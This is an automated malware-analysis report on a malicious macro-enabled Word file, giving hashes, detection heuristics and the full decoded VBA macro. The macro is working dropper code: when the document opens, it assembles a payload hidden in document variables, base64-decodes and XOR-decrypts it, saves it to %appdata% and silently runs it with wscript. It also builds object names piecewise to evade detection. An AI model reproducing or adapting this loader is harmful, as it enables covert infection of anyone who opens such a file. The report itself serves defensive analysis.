Malicious Office (OOXML) / .DOCM — malware analysis report

Static analysis result for SHA-256 38ac227c825ab5a0…

MALICIOUS

Office (OOXML) / .DOCM

367.9 KB Created: 2026-06-22 00:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-22
MD5: 73f8b1defc80ba1c97cf9c30f26ffaba SHA-1: b1500c00134b08507ce99ca4af5f5dfabf5e1157 SHA-256: 38ac227c825ab5a013ac64a5167abef0e82210792e04d5ad2b8519b91bc0ad53
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shellobj = CreateObject("wscript.shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        With CreateObject("ADODB.Stream")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("ADODB.Stream")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://www.gimp.org/xmp/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3096 bytes
SHA-256: f5ae0521a668231741f4aa03e999c17bfb306e1f81bc63fe27c77397f2d87bd7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function getElement(ind)
    Dim strs
    ReDim strs(6)
    strs(0) = "bin"
    strs(1) = "MSXML"
    strs(2) = "base"
    strs(3) = 8 * 8
    strs(4) = "DOMDocument"
    strs(5) = "."
    getElement = strs(ind)
End Function

Function EncryptDecrypt(data() As Byte, key As String) As Byte()
    Dim resultBytes() As Byte
    Dim keyBytes
    Dim keyLength
    Dim i

    keyBytes = StringToBytes(key)
    keyLength = UBound(keyBytes) + 1

    ReDim resultBytes(UBound(data))

    For i = 0 To UBound(data)
        resultBytes(i) = data(i) Xor keyBytes(i Mod keyLength)
    Next

    EncryptDecrypt = resultBytes
End Function

Function StringToBytes(s As String) As Byte()
    With CreateObject("ADODB.Stream")
        .Type = 2
        .Charset = "utf-8"
        .Open
        .WriteText s
        .Position = 0
        .Type = 1
        .Position = 3
        StringToBytes = .Read
        .Close
    End With
End Function

Sub Document_Open()
    Dim size
    size = ThisDocument.Variables("chunkslen").Value
    Dim d As String
    Dim i As Long
    For i = 0 To size - 1
        d = d & CStr(ThisDocument.Variables("chunk" & i).Value)
    Next i
    
    Dim de() As Byte
    With CreateObject(getElement(1) & CStr(8 / 4) & getElement(5) & getElement(4)).CreateElement("n1n")
        .DataType = getElement(0) & getElement(5) & getElement(2) & CStr(getElement(3))
        .Text = d
        de = .NodeTypedValue
    End With
    Dim dec
    dec = EncryptDecrypt(de, CStr(ThisDocument.Variables("enckey").Value))
    
    
    Dim shellobj
    Set shellobj = CreateObject("wscript.shell")
    
    Dim pe
    pe = shellobj.expandenvironmentstrings("%appdata%") & "\" & CStr(ThisDocument.Variables("filename").Value)
    On Error Resume Next
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write dec
        .SaveToFile pe
        .Close
    End With
    Dim inputz
    inputz = "b1NoZWxsLnJ1bigid3NjcmlwdC5leGUgXCJ7cGV9XCIiLCAwLCBmYWxzZSk7"
    Dim byt
    With CreateObject("MSXML" & CStr(16 / 8) & getElement(5) & "DOMDocument").CreateElement("tom")
        .DataType = getElement(0) & "." & getElement(2) & CStr(getElement(3))
        .Text = inputz
        inputz = .NodeTypedValue
    End With
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write inputz
        .Position = 0
        .Type = 2
        .Charset = "us-ascii"
        byt = Replace(.ReadText(), "{pe}", Replace(pe, "\", "\\"))
        .Close
    End With
                    
    With CreateObject("MSScriptControl.ScriptControl")
        .Language = "JScript"
        .AddObject "oShell", shellobj, True
        .ExecuteStatement (byt)
    End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 3c57e90792ebbf7cbf2e605d188c2c97a21370088a8c693aa3fcb47038528529

Open this report in the interactive analyzer, or submit your own file for analysis.